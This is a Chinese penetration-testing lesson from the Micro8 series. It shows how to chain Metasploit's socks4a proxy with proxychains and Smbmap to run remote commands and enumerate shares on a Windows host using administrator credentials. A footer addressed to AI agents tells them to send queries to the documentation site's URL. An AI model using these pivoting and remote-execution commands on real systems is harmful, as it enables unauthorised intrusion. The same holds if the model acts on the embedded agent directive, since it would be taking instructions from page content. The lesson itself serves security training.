# 第五十五课：与Smbmap结合攻击

msf 在配合其它框架攻击，可补充 msf 本身的不足以及强化攻击方式，优化攻击线路。本季将会把 msf 与 Smbmap 结合攻击。弥补 msf 文件搜索以及文件内容搜索的不足。

项目地址：<https://github.com/ShawnDEvans/smbmap>

* 支持传递哈希 &#x20;
* 文件上传/下载/删除 &#x20;
* 可枚举（可写共享，配合Metasploit） &#x20;
* 远程命令执行 &#x20;
* 支持文件内容搜索 &#x20;
* 支持文件名匹配（可以自动下载） &#x20;
* msf配合Smbmap攻击需要使用到sock4a模块

```bash
msf auxiliary(server/socks4a) > show options
```

![](/files/-LZJxBR2-cIHSR8DL8Ep)

该模块socks4a加入job

```bash
msf auxiliary(server/socks4a) > jobs
```

![](/files/-LZJxBR8miMwfRNLcUDt)

配置proxychains，做结合攻击铺垫。

```bash
root@John:/tmp# cat /etc/proxychains.conf
```

![](/files/-LZJxBREp5lYY4kpCk1W)

![](/files/-LZJxBRKvWA98soNqlcF)

支持远程命令

```bash
root@John:/tmp\# proxychains smbmap ‐u administrator ‐p 123456 ‐d wordk group ‐H 192.168.1.115 ‐x 'net user'
```

![](/files/-LZJxBRRGFlCJOzHJjZh)

```bash
root@John:/tmp# proxychains smbmap ‐u administrator ‐p 123456 ‐d wordk group ‐H 192.168.1.115 ‐x 'whoami'
```

![](/files/-LZJxBRV1ZRsvy-aL4A3)

枚举目标机共享

```bash
root@John:/tmp# proxychains smbmap ‐u administrator ‐p 123456 ‐d wordk group ‐H 192.168.1.115 ‐d ABC
```

![](/files/-LZJxBRaC91DgahKuI-L)

```bash
root\@John:/tmp\# proxychains smbmap ‐u administrator ‐p 123456 ‐d wordk group ‐H 192.168.1.115 ‐x 'ipconfig'
```

![](/files/-LZJxBRgPXae1K14AZqM)

Smbmap支持IP段的共享枚举，当然Smbmap还有更多强大的功能等待探索。

> Micropoor


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://micro8.gitbook.io/micro8/contents-1/51-60/55-yu-smbmap-jie-he-gong-ji.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.